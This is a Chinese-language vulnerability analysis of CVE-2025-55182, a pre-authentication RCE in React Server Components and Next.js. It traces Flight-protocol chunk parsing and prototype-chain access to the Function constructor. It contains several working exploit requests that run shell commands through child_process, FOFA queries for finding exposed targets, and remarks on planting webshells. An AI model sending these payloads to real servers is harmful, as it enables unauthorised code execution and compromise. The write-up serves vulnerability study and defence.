CVE-2025-55182-Next.js无条件RCE

写在最开始

React Server Components 19.0.0、19.1.0、19.1.1 和 19.2.0 版本存在预身份验证远程代码执行漏洞,涉及以下软件包:react-server-dom-parcel、react-server-dom-turbopack 和 react-server-dom-webpack。该漏洞利用的代码会不安全地反序列化发送到服务器函数端点的 HTTP 请求的有效负载。

受影响组件:

  • react-server-dom-webpack(React Server Components 的一部分)使用该库的框架,如Next.js 15.x / 16.x(App Router 模式)

影响版本:

  • react-server-dom-webpack:19.0.0,19.1.0,19.1.1,19.2.0

  • Next.js版本:15.x系列(所有版本)、16.x系列(所有版本)、14.3.0-canary.77及后续canary版本。

    条件:必须同时使用React Server Components和App Router模式,Pages Router模式不受影响。

是否必须要POST请求:✅

是否必须有Next-Action头:✅

是否必须是Multipart请求:✅

是否可以落地webshell:如果是dev模式,可以直接写入webshell并且不需要重启就可以加载;如果是生产环境,写入的webshell需要重启;但如果黑客直接写入.next目录下未加载的模块,有可能可以做到无需重启。

是否可以写入内存马:✅

CVE-2025-55182 是 React Server Components(版本 19.0.0 至 19.2.0)中的一个高危预认证远程代码执行漏洞,源于服务端在反序列化 Server Action 请求时未校验模块导出属性的合法性,攻击者可通过操控请求负载访问原型链上的危险方法(如 vm.runInThisContext),进而执行任意系统命令,只要应用依赖中包含 vm、child_process 或 fs 等常见 Node.js 模块即可被利用。

fofa:

1
2
3
app="Next.js" && body="/_next/static/chunks/app/"

body="react.production.min.js" || body="React.createElement(" || app="React.js" || app="Dify"

这里给出poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /app HTTP/1.1
Host: xxx
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

在典型的 Server Action 请求中,Next.js / React 发送 multipart/form-data 请求,表单字段结构如下:

  • name="0": 主 payload(如参数列表)
  • name="1": 第 1 个模型块(model chunk)
  • name="2": 第 2 个模型块
  • ... : 更多块

$N 引用语法

Flight 协议使用 $ 前缀加数字表示对特定 chunk 的引用,冒号分隔的路径用于访问嵌套属性:

  • "$1": 引用 chunk1 本身
  • "$2:fruitName": 引用 chunk2 解析后对象的 fruitName 属性
  • "$3:user:email": 引用 chunk3 中的 .user.email

假设客户端发送如下请求:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="0"

["$1:profile:name"]
------WebKitFormBoundaryABC123
Content-Disposition: form-data; name="1"

{"profile":{"name":"alice","age":18}}
------WebKitFormBoundaryABC123--

其实可以看做:

1
2
3
4
chunks = {
"0": '["$1:profile:name"]',
"1": '{"profile":{"name":"alice","age":18}}'
}

解析过程如下:

1
2
3
4
"$1:profile:name"
→ 查找 chunk1 并解析:{"profile":{"name":"alice","age":18}}
→ 访问路径 .profile.name
→ 返回 "alice"

这里先大致分析一下POC,$1:__proto__:then其实就是chunk:__proto__:then

但是上面这种payload会有长度限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /app HTTP/1.1
Host: 124.220.97.61
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var r=process.mainModule.require('child_process').spawnSync('sh',['-c','ls /'],{encoding:'utf8',timeout:5000});var res=r.stdout||r.stderr||'';throw Object.assign(new Error('EXECUTION_RESULT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

前置知识

回调地狱

JavaScript设计初就作为一个纯异步的语言,大量的系统API在执行耗时操作时都是支持传入一个回调函数,当操作执行完毕时调用这个回调函数。

比如下面这个例子,当我们要完成“用户登录获取token->根据token获取用户id->根据id获取用户订单”这个流程时,其代码如下:

1
2
3
4
5
6
7
8
9
10
11
// 第一步,登录获取用户 token
request.login("user", "pass", (err, token) => {
// 第二步:拿着 token 获取用户信息
request.getProfile(token, (err, user) => {
// 第三步:拿着 userId 获取订单
request.getOrders(user.id, (err, orders) => {
// 最终,拿到订单数据
console.log("订单列表", orders);
});
});
});

一旦这个流程太长,这个callback就会一直嵌套下去,导致代码可读性非常差,函数也很难复用。

Promise

为了解决回调地狱的问题,ES6引入了Promise对象。Promise 将“嵌套”变成了“链式调用”,虽然仍然需要传入回调函数,但回调函数的调用回到了同一个上下文中。Promise 是 JavaScript 中用于处理异步操作的对象,它表示一个最终会完成(成功或失败)的操作及其结果值。Promise有三种对象,分别为pending(等待中)、fulfilled(已完成)和rejected(失败),状态一旦改变就不可逆了。

如果我们是Promise对象的使用者,我们需要关注的就是Promise对象提供的两个重要函数then()和catch(),当耗时任务执行成功时,then中的回调会被执行;当耗时任务执行失败时,catch中的回调将会被执行。

这样,1️⃣中的例子就可以修改成如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//首先获取登陆用户的token
login("user","pass")
.then((token) => {
//第二步,拿着获取的token获取用户信息,此时返回的仍然是一个Promise对象
return getProfile(token);
})
.then((user) => {
//第三步,拿着获取的user用户信息去获取订单,此时返回的仍然是一个Promise对象
return getOrders(user.id);
})
.then((orders) => {
//最终拿到订单数据
console.log("订单列表", orders);
})
.catch((err) => {
//统一的错误处理
console.log("错误日志",err);
});

可见,我们将上面的多层嵌套回调变成了一串then函数的调用,他们都在同一个上下文中,这极大优化了代码的可读性。

如何设计Promise对象

前面的代码中,我们看到了Promise被使用时给代码带来的便利性,那么他是怎么被制造的呢?比如上面的login函数,我使用比较老的XMLHttpRequest API来编写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
function login(username, password) {
// 1. 这里返回的是一个Promise对象
return new Promise((resolve, reject) => {
const xhr = new XMLHttpRequest();
xhr.open("POST", "/v1/login");
xhr.setRequestHeader("Content-Type", "application/json");
// 2. 监听成功回调 (onload)
xhr.onload = () => {
if (xhr.status >= 200 && xhr.status < 300) {
try {
const data = JSON.parse(xhr.responseText);
// 成功调用 resolve 函数
resolve(data.token);
} catch (e) {
// 失败调用 reject 函数
reject(new Error("json error"));
}
} else {
// 失败调用 reject 函数
reject(new Error("request error"));
}
};
// 3. 监听错误回调 (onerror)
xhr.onerror = () => {
// 失败调用 reject 函数
reject(new Error("network error"));
};
xhr.send(JSON.stringify({ username, password }));
});
}

我们可以发现,Promise的本体也是一个回调函数,这个回调需要接收resolve和reject两个函数类型的参数。函数内部通常会执行异步任务,在任务成功完成时调用resolve,任务出错时调用reject。这样,即使像XMLHttpRequest这种老的API,我们也可以将其改造成Promise模式,只要在任何异步操作执行完毕后调用resolve()即可。resolve()就像一个通知器,调用它就是通知Promise外部,你可以继续执行then()了。

async和await异步

Promise的出现解决了回调地狱的问题,但它本身仍然是需要一堆回调函数,和阅读直观的同步代码难度仍然有差距。

于是人们又在ES2017中引入了async/await这两个关键词,await本质来说就是Promise.then()的语法糖:定义一个async异步函数,其实就是在定义一个会返回Promise的函数;而await执行一个异步函数,其实就是把await这一行代码后面的内容放在了这个Promise的then()中。

所以,2️⃣中的代码我们又可以进一步简化:

1
2
3
4
5
6
7
8
9
10
try{
const token = await login("user","pass");
const user = await getProfile(token);
const orders = await getOrders(user.id);

//最终拿到订单数据
console.log("订单数据",orders);
} catch (err) {
console.error("错误日志",err);
}

这个代码就基本和同步代码一致了,阅读起来毫无压力。

Thenable的由来

回看JavaScript的发展,从ES5到ES6再到ES2017增加了很多新的对象和关键字,但是如果我们想让一个代码兼容老的js引擎,又想让其可以用在新的语法结构下,应该怎么办呢?

Promise是ES6引入的,ES5中没有这个对象,于是JavaScript提供了一个兼容机制,Thenable。

任何一个对象,只要它有一个名字叫then的函数,他就是一个Thenable对象,它可以替代Promise的功能,在await等需要Promise的位置使用。

比如我们先前使用XMLHttpRequest API编写的那个例子,我也可以改写成如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
function login(username, password) {
// 不再返回Promise对象,而是返回一个Thenable对象
return {
// Thenable对象其实就是包含了 then 方法的对象
// 引擎看到 await 后的对象有 then,就会自动注入 resolve 和 reject 两个函数
then: function (resolve, reject){
const xhr = new XMLHttpRequest();
xhr.open("POST", "/v1/login");
xhr.setRequestHeader("Content-Type", "application/json");
// 2. 监听成功回调 (onload)
xhr.onload = () => {
if (xhr.status >= 200 && xhr.status < 300) {
try {
const data = JSON.parse(xhr.responseText);
// 成功调用 resolve 函数
resolve(data.token);
} catch (e) {
// 失败调用 reject 函数
reject(new Error("json error"));
}
} else {
// 失败调用 reject 函数
reject(new Error("request error"));
}
};
// 3. 监听错误回调 (onerror)
xhr.onerror = () => {
// 失败调用 reject 函数
reject(new Error("network error"));
};
xhr.send(JSON.stringify({ username, password }));
}
};
}

这个完全没有用到Promise对象的login函数,我也可以使用await来调用:

1
2
3
4
async function main() {
const token = await login("admin", "123456");
// ...
}

这样,对于一些需要高兼容性的SDK,使用Thenable这样的写法,既可以让最新的js引擎使用await来调用,也可以运行在古老的js引擎中。

有得必有失

Thenable向下兼容性非常好,它几乎可以运行在任何JavaScript引擎下,但是代价是什么呢?

任何一个对象,只要其包含一个then函数,它就可以变成一个Thenable,被await调用。如果一个对象的key被用户所控制,那么就可以伪造出一个Thenable对象,这也是React2Shell CVE-2025-55182这个漏洞能够运行的原因之一。

开始调试

1
npx create-next-app@15.5.6 nextjs-cve-2025-55182 --yes

我这里安装的版本是存在漏洞的Next.js 15.5.6,其默认使用的打包工具是Turbopack(Webpack),内置的react-server-dom-turbopack版本是19.2.0。

要调试这个漏洞,世界上最简单的方法就是直接使用 –inspect 并配合Chrome浏览器,你甚至连编译器都不需要配置。

进入项目目录后,先设置环境变量 NODE_OPTIONS=”–inspect” 再启动dev服务器即可:

1
2
set NODE_OPTIONS="--inspect"
npm run dev

但是这里发现并没有开启调试端口,我们直接在命令中添加NODE_OPTIONS

1
npx --node-options=--inspect next dev

然后环境就构建好啦!

此时控制台会有debug相关的日志,可见node.js监听了一共三个端口:

  • 3000:这是Web应用的端口
  • 9229:这是dev服务器守护进程的调试端口
  • 9230:这是应用进程的调试端口

Next的dev服务器是一个守护进程,它负责启动Web应用进程,执行一些管理操作,比如在开发者编辑代码后对代码进行重新加载。我们要调试的是Web应用的进程,而不是这个守护进程,这一点一定要注意,否则很有可能找不到要调试的代码。

然后我们就可以开始调试了。启动dev服务器,在Chrome浏览器中输入 chrome://inspect/ ,就可以看到“Remote Target”,找到9230端口然后点击inspect就可以开始调试了。

如果你这里没有9230端口,就可以点“Configure…”,手工增加一个9230端口的服务器:

默认情况下,Chrome调试的时候不会加载node_modules中的source map,这会导致代码无法阅读。我们需要点右上角的配置:

然后在忽略列表中把“Enable ignore listing”去掉,这样就不会忽略任何文件了:

然后重启一下,我们在调试的时候就能看到解码后的源文件了。

第一次调试的时候,我们通常不知道应该在哪里下断点。比如这个漏洞中,我发现如果填入一些非json的字符串,服务端会返回JSON解析错误:

那么我们就可以把断点下在所有异常的位置,勾选下述这俩

再发送数据包,我们就可以断到JSON.parse的位置:

我们再从这个位置查看调用栈,并在关键的位置下断点,然后单步调试,一点一点跟整个数据流就可以了。

RSC是如何解析数据包的

SSR & RSC

CVE-2025-55182这个漏洞就来源于Server Actions和React Server Components之中。

SSR Server-Side Rendering(服务端渲染) :React原本是一个前端框架,但为了SEO优化和提升首次渲染速度,开发者使用SSR技术将首次渲染放在后端执行,并将渲染后的HTML代码返回给浏览器。但此后浏览器需要下载所有组件代码和依赖库,通过Hydration过程重新执行组件逻辑来绑定交互功能,这导致JavaScript bundle过大,可交互时间(TTI)很长。

RSC React-Server-Components(React 服务端组件) :React 18引入了React Server Components(React 19中稳定)。与传统SSR不同,ServerComponents的代码永远不会下载到浏览器 ——它们只在服务器执行,输出结果发送给客户端,不需要Hydration,这样可以使用庞大的依赖库(如数据库驱动)而不影响前端性能。

ServerActions :React 19以后引入,Server Actions允许开发者直接在组件中调用服务器端函数来修改数据,无需创建API端点。React会自动处理客户端-服务器通信、数据序列化和页面更新,大幅简化了表单提交和数据修改的开发流程。

最后,Server Actions实现的效果就像上图那样,我们可以在前端中直接编写后端代码,React会自动处理前后端的通信问题——而这个通信的流程,使用的就是Flight协议,CVE-2025-55182这个漏洞也是由此而来。

CVE-2025-55182虽然是RSC组件的漏洞,但实际上他是由Server Actions触发的。用户可控的数据流借由Server Actions的功能传入RSC中,导致漏洞产生。这也是为什么React 18中就引入RSC了,但只有React 19才受到漏洞影响。

Server Actions & Flight协议

在RSC刚出来时,Flight协议设计是用来服务端返回给客户端的一种序列化格式,但是Server Actions引入以后,React也将其应用在了解析用户的输入上——其实这么说也不太严谨,如果我们抓包就会发现,请求包和返回包的格式还是有很大区别的:

  • 请求包的每个字段都是一个合法的JSON,JSON中可能会有一部分字段借用了Flight协议的语法,Next.js官方代码注释中称这种格式为multiple flight rows
  • 返回包是真正的Flight协议流,它的每一行都有一个固定的格式:<ID>:<Type Code><Data>。ID是一个数字编号,Type Code是数据类型,Data是数据

漏洞分析

在react中,renderToHTMLOrFlightImpl函数负责html渲染输出,当http请求经过其进行处理的时候,会进入handleAction来完成action request的请求处理。

那么我们进入到handleAction方法看看,进入到handleAction后首先会调用getServerActionRequestMetadata函数提取请求源数据。这是解析Server Actions的入口点。

在getServerActionRequestMetadata函数中,将尝试提取header中的next-action,如果其已被定义,返回isFetchAction为true。同时如果 Content-Type 为 multipart/form-data 类型,返回值isMultiparAction 取值为 true ,因此isPossibleServerAction返回的也是true。

接着获取到后面用到的一些基本信息

  • actionId :从HTTP header中拿到要执行的Server Action
  • isURLEncodedAction :请求方法是POST且请求包Content-Type是application/x-www-form-urlencoded
  • isMultipartAction :请求方法是POST且请求包Content-Type是multipart/form-data
  • isFetchAction :请求方法是POST且actionId不为空
  • isPossibleServerAction :isURLEncodedAction、isMultipartAction、isFetchAction这三个有一个是true

接着我们回到handleAction函数。慢慢跟进,先进入run

然后进入到这个(匿名),回到handlerAction处

在后续处理中存在如下判断,如果 isMultiparAction 和 isFetchAction 均为 true ,那么将引入 busboy 这个库来做 http 解析,这个库常用来处理 multipart/form-data 请求,与上面的判断条件一致:

然后我们继续跟进,decodeReplyFromBusboy这个函数其实就是正式从Next.js进入到React Server Components内核的地方。

进入decodeReplyFromBusboy函数。在 decodeReplyFromBusboy 函数中会完成 Flight 反序列化操作,对于 field 类型的请求 (不包含 file 上传)将通过 resolveField 进行处理

这里我们分析一下decodeReplyFromBusboy的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
exports.decodeReplyFromBusboy = function (
busboyStream,
webpackMap,
options
) {
var response = createResponse(
webpackMap,
"",
options ? options.temporaryReferences : void 0
),
pendingFiles = 0,
queuedFields = [];
busboyStream.on("field", function (name, value) {
0 < pendingFiles
? queuedFields.push(name, value)
: resolveField(response, name, value);
});
busboyStream.on("file", function (name, value, _ref2) {
var filename = _ref2.filename,
mimeType = _ref2.mimeType;
if ("base64" === _ref2.encoding.toLowerCase())
throw Error(
"React doesn't accept base64 encoded file uploads because we don't expect form data passed from a browser to ever encode data that way. If that's the wrong assumption, we can easily fix it."
);
pendingFiles++;
var JSCompiler_object_inline_chunks_238 = [];
value.on("data", function (chunk) {
JSCompiler_object_inline_chunks_238.push(chunk);
});
value.on("end", function () {
var blob = new Blob(JSCompiler_object_inline_chunks_238, {
type: mimeType
});
response._formData.append(name, blob, filename);
pendingFiles--;
if (0 === pendingFiles) {
for (blob = 0; blob < queuedFields.length; blob += 2)
resolveField(
response,
queuedFields[blob],
queuedFields[blob + 1]
);
queuedFields.length = 0;
}
});
});
busboyStream.on("finish", function () {
close(response);
});
busboyStream.on("error", function (err) {
reportGlobalError(response, err);
});
return getChunk(response, 0);
};

我们将这个函数分成两部分来看:

  • 第一部分(Thread1)是从createResponse处到最后的getChunk之前。这部分是用busyboy这个解析库流式地解析用户的请求包,每解析出一个字段就会触发”field”事件,并执行resolveField(response, name, value)方法。这完全是一个异步的过程,它的工作就是不断地解析请求包,并依次构建Chunk。
  • 第二部分(Thread2)是return getChunk(response, 0);,这部分返回了第0个Chunk,它在外面会被await触发第一次then函数,是整个解析过程的入口点。

Chunk实际上是React解析multipart字段时的一个中间产物,我们看看它具体长什么样:

Thenable对象在await执行时,会执行它的then方法,直到其中的resolve()函数被执行才会返回。Chunk就是一个包含statusvaluereason_response几个属性,和一个then方法的Thenable对象。

与此同时,Chunk也是一个状态机,status保存状态,value和reason属性会根据status的值保存不同的东西,其整个生命周期的状态如下:

状态 含义 value 存储 reason 存储
PENDING 等待服务器数据 resolve 监听器数组 reject 监听器数组
RESOLVED_MODEL 收到 JSON 字符串,待解析 JSON 字符串 chunk ID
CYCLIC 正在解析中(处理循环引用) resolve 监听器数组 null
BLOCKED 解析完但依赖其他未完成的 chunk resolve 监听器数组 reject 监听器数组
fulfilled ✅ 完全解析成功 最终解析值 T null
ERRORED ❌ 解析失败 null 错误对象

React在不断解析multipart中的每一个字段时会不断产生新的Chunk,这些Chunk中又可能有对于其他Chunk的引用(比如["$1"])(这里我们在写在最开始处有稍微提到一下),那么就会有两种可能性:

  • Chunk1引用Chunk2时,保存2的multipart字段还没有被解析到,此时Chunk 2的状态是PENDING
  • Chunk1引用Chunk2时,保存2的multipart字段已经被解析了,此时Chunk 2的状态是fulfilled

第一种情况,React会将Chunk#then中的resolve()和reject()分别保存在value和reason中,等到后面真正解析2的时候再次调用;

第二种情况,Chunk的value替换成字段的最终值,然后调用之前保存在value中的resolve()reject(),结束异步过程。

接下来我们回过头看看之前的Thread2(也就是return getChunk(response, 0);),decodeReplyFromBusboy函数返回第0个Chunk的时候,此时Thread 1可能还没有开始解析multipart,此时这个Chunk的状态就是PENDING,这就是遇到的第一种情况。

整个解析流程就从Chunk 0的then()方法开始,到最后执行Chunk 0的resolve()结束。

前面提到了很多次“引用”,Chunk的相互引用也是Flight协议中的一个特点。

继续往下调试:

我们继续往下跟进,在 initializeModelChunk 函数中将依次对请求参数进行 json 格式化处理,并进入 reviveModel 函数进行反序列化递归处理:

进入到reviveModel函数中去

(这里我们先改回正常的poc,不然调试不到reviveModel函数)

重点关注被调用的 parseModelString 函数,对首字符为 $ 进行判断,并根据第二个字符取值的不同采取不同的方式进行处理

parseModelString 这个函数用来解析字符串,目的是扩展JSON原本不支持的数据类型。使用这一套规则几乎就可以模拟JavaScript中所有数据类型了:

这里说一下引用类型:

编码格式 类型 示例 解析方式
$<id> Chunk 引用 “$1”, “$a” getOutlinedModel(id) - 获取另一个 chunk 的值
$@<id> Promise “$@1” getChunk(id) - 返回 chunk 本身(类 Promise)
$F<id> Server Reference “$F1” loadServerReference() - 服务器函数引用
$T Temporary Reference “$T” createTemporaryReference() - 临时引用
$Q<id> Map “$Q1” getOutlinedModel(…, createMap)
$W<id> Set “$W1” getOutlinedModel(…, createSet)
$K<id> FormData “$K1” 从 backing store 重建 FormData
$i<id> Iterator “$i1” getOutlinedModel(…, extractIterator)

接下来就是关于本漏洞的重点之处了:原型链污染!

我们换一个poc来打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

当解析 name 为 1 的 field 时,参数是一个正常的 Json 字符串,经过反序列化处理后将生成 Object 对象。重点跟踪 name 为 0 的解析过程,经过 reviveModel迭代后, value 将从 Array 对象变成 $1:a:b 字符串,然后进入 parseModelString 函数进行处理

在 parseModelString 中,判断 value 是否以 $ 开头,并根据第二个字符的取值选择不同的处理方式,对于上述请求,将去掉首字符 $ ,然后调用getOutlinedModel函数。

然后我们跟进一下getOutlinedModel函数。将传入的 reference (对应 value )利用 : 进行分割,并尝试从生成的数组中提取第一个元素转换为整数赋值给 id

此时的reference其实就是1:a:b

然后根据id提取对应的chunk对象,并根据id.status来选择处理方式。这里 id=1 ,因此将尝试获取 name=”1” 模块生成的 Object 对象(涉及到 Promise 异步处理等,调试过程从略),直到 status 变为 fulfilled (加载完毕),遍历之前分割生成的数组,迭代获取 parentObject 对象。这里会进行两次JSON.parse。

下面发生在第二次json.parse之后,为chunk.status赋值fulfilled ,也就是加载完毕

然后就会进入下面的原型链污染部分

最后获取值foo

最终返回value为foo,变化过程如下:

1
2
3
$1:a:b
-> {"a":{"b":"foo"}}.a.b
-> foo

这里传入的参数来自于用户请求可控,因此如果传入类似 proto ,那么就可能出现原型链污染。比如将请求变为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"a":"$1:__proto__:constructor"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

最终将获取 Array 类型的构造函数对象

接下来我们再加一个 constructor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"a":"$1:__proto__:constructor:constructor"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

成功获取了function!这样,后面的rce就有了可能。

变化过程如下:

1
2
3
4
5
$1:__proto__:constructor:constructor
-> []:__proto__:constructor:constructor
-> Array:constructor:constructor
-> Array#constructor:constructor
-> new Function

除了 getOutlinedModel 这个 Sink 点外,调试发现还有其他的多个潜在 Sink 点,比如 createModelResolver 函数等,实际触发哪个 Sink 取决于请求的格式 :

漏洞触发流程

在此之前我们先观察一下parseModelString函数

我们看case @那段,假若是$@0,那么就是将前面两位去掉,再获取chunk对象,也就是chunk对象本身。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"a":"$1:__proto__:constructor:constructor"}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad

这样就成功获取到了chunk对象

流程如下:

1
2
3
4
5
$1:__proto__:constructor:constructor
-> chunk对象:__proto__:constructor:constructor
-> Promise:constructor:constructor
-> Promise#constructor:constructor
-> new Function

然后我们观察到如下代码:

将会触发 response._formData.get 调用,如果可以污染 get ,那么就可能实现 RCE。

接下来我们对应POC看看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /app HTTP/1.1
Host: localhost:3000
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 565

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('whoami').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

看看$@0这部分,获取chunk对象

继续跟着调试,最后相当于创建了一个匿名函数来进行RCE。

React2Shell漏洞原理

Chunk的解析流程:React会遍历所有multipart字段,并将其使用JSON.parse() 解析成一个对象,再递归遍历这个对象的所有子孙结构,如果发现值是 $ 开头,再按照一定的规则进行相互“引用”,用以扩展原始JSON中不支持的数据类型。

解析处理完成后的对象,将会放在 chunk.value 中,成为当前这个Chunk的,也就是“数据”。但实际我们观察一下这个我简化过的React2Shell漏洞的POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 659
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc.exe');",
"_chunks": [],
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

很明显,Multipart 0中模拟了一个假的Chunk的对象。这就引出了第一个问题:这个假对象是怎样从“数据”变成真正的Chunk对象的?

我们回顾一下引用类型:

编码格式 类型 示例 解析方式
$<id> Chunk 引用 “$1”, “$a” getOutlinedModel(id) - 获取另一个 chunk 的值
$@<id> Promise “$@1” getChunk(id) - 返回 chunk 本身(类 Promise)

当Chunk 1中使用 $0 来引用Chunk 0中的值,此时工作流程是:

  1. 查找Chunk 0,如果已经解析过,则直接将 chunk0.value 赋值给 chunk1.value

  2. 查找Chunk 0,如果发现还没有解析,则将Chunk 1的状态设置成blocked,等待Chunk 0解析后填充

  3. Chunk 0解析后,将 chunk0.value 赋值给 chunk1.value

当Chunk 1中使用 $@0 来引用Chunk 0中的值,此时工作流程是:

  1. 查找Chunk 0,不论其是否解析完成,直接将Chunk 0返回

  2. 将 chunk0 本身赋值给 chunk1.value

由于 $0 和 $@0 的不同,造成 chunk1.value 中存储的数据类型不同。既然 chunk1.value 有可能会存储一个Promise

对象,那么后续一定有某个地方会对它执行“解包”(比如对其进行await或调用它的 then() )。

我们回到代码中, reviveModel 方法用于处理JSON解析后的对象,得到的value最后会进入 wakeChunk() 函数:

wakeChunk() 这个函数的作用就是调用之前所有的 resolve() ,value作为resolve的参数:

这时又涉及到JavaScript中另一个特性:当 resolve(value) 的value是Promise或Thenable时,Promise会自动解包它。具体来说,JavaScript会调用该Promise的.then() 方法,递归地等待其完成,直到得到一个非Promise的值。这意味着,当上一个 then 返回的是普通数据时,JavaScript将其直接交给下一个 then方法;当上一个then返回的是一个Promise时,JavaScript会自动解包这个Promise,将最终的结果值交给下一个then方法。

例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
// 场景1:返回普通值
Promise.resolve(1)
.then(x => x + 1) // 返回 2(普通值)
.then(x => console.log(x)); // 直接接收到 2
// 场景2:返回 Promise
Promise.resolve(1)
.then(x => Promise.resolve(x + 1)) // 返回 Promise<2>
.then(x => console.log(x)); // 自动解包,接收到 2(不是 Promise)
